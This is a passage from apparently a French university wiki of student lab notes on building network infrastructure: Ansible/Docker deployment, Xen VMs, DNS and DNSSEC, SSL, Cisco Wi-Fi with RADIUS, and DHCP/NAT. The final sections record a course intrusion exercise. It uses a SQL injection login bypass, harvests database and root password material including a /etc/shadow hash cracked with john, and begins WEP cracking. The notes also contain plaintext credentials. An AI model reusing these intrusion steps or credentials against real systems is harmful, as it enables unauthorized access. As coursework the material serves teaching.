      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55006</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55006"/>
				<updated>2020-12-18T22:06:15Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE girolle.site&lt;br /&gt;
&lt;br /&gt;
On renomme les deux paires de clés de la façon suivante :&lt;br /&gt;
  &lt;br /&gt;
 Kgirolle.site.+0+55681.key et Kgirolle.site.+0+55681.private en girolle.site-ksk.key et girolle.site-ksk.private&lt;br /&gt;
 Kgirolle.site.+0+00840.key et Kgirolle.site.+0+00840.private en girolle.site-zsk.key et girolle.site-ksk.private&lt;br /&gt;
&lt;br /&gt;
On inclue en les clefs publiques dans le fichier de zone db.girolle.site :&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-ksk.key&lt;br /&gt;
 $include /etc/bind/girolle_dnssec/&amp;lt;nom_de_zone&amp;gt;-zsk.key&lt;br /&gt;
&lt;br /&gt;
On signe les enregistrement de la zone avec la commande&lt;br /&gt;
 dnssec-signzone -o girolle.site -k girolle.site-ksk ../db.girolle.site girolle.site-zsk&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local on modifie la zone :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; IN {&lt;br /&gt;
  type master;&lt;br /&gt;
  file &amp;quot;/etc/bind/db.girolle.site.signed&amp;quot;;&lt;br /&gt;
  allow-transfer {227.70.177.40;};&lt;br /&gt;
 };   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Enfin sur Gandi, on ajoute la clé publique ksk avec l'algorithme(RSA/SHA-1).&lt;br /&gt;
&lt;br /&gt;
On utilise l'analyseur de DNSSEC du site Verisign Labs pour vérifier. Tout s'effectue sans erreur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Girolle.jpg|300px]]&lt;br /&gt;
&lt;br /&gt;
== Configuration des bornes Wi-Fi ==&lt;br /&gt;
&lt;br /&gt;
Borne classique : Cisco - AIR-CAP1602I-E-K9&lt;br /&gt;
&lt;br /&gt;
Configuration IOS en CLI :&lt;br /&gt;
&lt;br /&gt;
 aaa new-model&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 aaa group server radius radius_girolle&lt;br /&gt;
 server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 !&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group1&lt;br /&gt;
 aaa authentication login eap_girolle group radius_girolle&lt;br /&gt;
 !         &lt;br /&gt;
 dot11 ssid SSID_GIROLLE&lt;br /&gt;
    vlan 107&lt;br /&gt;
    authentication open eap eap_girolle &lt;br /&gt;
    authentication network-eap eap_girolle &lt;br /&gt;
    authentication key-management wpa&lt;br /&gt;
 !&lt;br /&gt;
 !&lt;br /&gt;
 ...&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
  encryption vlan 101 mode ciphers aes-ccm tkip&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 ...&lt;br /&gt;
 interface BVI1&lt;br /&gt;
 ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 !&lt;br /&gt;
 radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key 7 09414A191B0A051C0E1B0D2C22&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10.60.100.10 : adresse IP fixe du point d'accès&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Commandes et verifications /&lt;br /&gt;
 ap(config)#interface BVI1&lt;br /&gt;
 ap(config-if)# ip address 10.60.100.10 255.255.255.0&lt;br /&gt;
 ap(config-if)#exit&lt;br /&gt;
 ap#write&lt;br /&gt;
 PING ROUTEUR 1 POUR VERIFIER LA CONNEXION&lt;br /&gt;
 ap#ping 10.60.100.2 &lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.2, timeout is 2 seconds:&lt;br /&gt;
 .!!!!&lt;br /&gt;
 Success rate is 80 percent (4/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
test second routeur : ne fonctionne pas car pas d'addresse ip&lt;br /&gt;
 ap#ping 10.60.100.1&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 10.60.100.1, timeout is 2 seconds:&lt;br /&gt;
 .....&lt;br /&gt;
 Success rate is 0 percent (0/5)&lt;br /&gt;
&lt;br /&gt;
Configurer l'adresse par defaut:&lt;br /&gt;
&lt;br /&gt;
 ap(config)#ip route 0.0.0.0 0.0.0.0 10.60.100.2&lt;br /&gt;
 ap(config)#exit&lt;br /&gt;
 ap#sh ip route&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Test ping notre machine virtuelle girolle : &lt;br /&gt;
 ap#ping 193.48.57.182&lt;br /&gt;
 Type escape sequence to abort.&lt;br /&gt;
 Sending 5, 100-byte ICMP Echos to 193.48.57.182, timeout is 2 seconds:&lt;br /&gt;
 !!!!!&lt;br /&gt;
 Success rate is 100 percent (5/5), round-trip min/avg/max = 1/1/1 ms&lt;br /&gt;
&lt;br /&gt;
===Sécurisation===&lt;br /&gt;
&lt;br /&gt;
On a refait la configuration avec groupe7 pour s'aligner sur les autres groupes.&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# aaa authentication login eap_group7 group radius_group7&lt;br /&gt;
 wifi-ima5sc(config)# radius-server host 193.48.57.182 auth-port 1812 acct-port 1813 key secret_group7&lt;br /&gt;
 wifi-ima5sc(config)# aaa group server radius radius_group7&lt;br /&gt;
 wifi-ima5sc(config-server)# server 193.48.57.182 auth-port 1812 acct-port 1813&lt;br /&gt;
 wifi-ima5sc(config)# dot11 ssid SSID_GROUP7&lt;br /&gt;
 wifi-ima5sc(config-radius)# mbssid guest-mode&lt;br /&gt;
 wifi-ima5sc(config-radius)# vlan 307&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication open eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication network-eap eap_group7&lt;br /&gt;
 wifi-ima5sc(config-radius)# authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Dot11Radio0&lt;br /&gt;
 wifi-ima5sc(config-if)# encryption vlan 307 mode ciphers aes-ccm tkip&lt;br /&gt;
 wifi-ima5sc(config-if)# mbssid&lt;br /&gt;
 wifi-ima5sc(config)# ssid SSID_GROUP7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config-subif)# int dot11radio0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
 wifi-ima5sc(config)# int Gi0.7&lt;br /&gt;
 wifi-ima5sc(config-subif)# encapsulation dot1q 307&lt;br /&gt;
 wifi-ima5sc(config-subif)# bridge-group 7&lt;br /&gt;
&lt;br /&gt;
===FreeRadius===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/users&lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/client.conf&lt;br /&gt;
&lt;br /&gt;
 client girolle_wifi {&lt;br /&gt;
     ipaddr = 10.60.100.10&lt;br /&gt;
     secret = secret_group7&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Dans /etc/freeradius/3.0/mods-enabled/eap&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Finalement on lance la commande freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP et mascarade===&lt;br /&gt;
&lt;br /&gt;
On doit implanter une fonction de serveur DHCP sur les deux routeurs.&lt;br /&gt;
&lt;br /&gt;
Pour le 6509E :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#default-router 10.60.107.1&lt;br /&gt;
 IMA5sc-R1(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.99&lt;br /&gt;
 IMA5sc-R1(config)#ip dhcp excluded-address 10.60.107.150 10.60.107.255&lt;br /&gt;
 IMA5sc-R1(config)#exit&lt;br /&gt;
 IMA5sc-R1#sh ip dhcp binding&lt;br /&gt;
 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
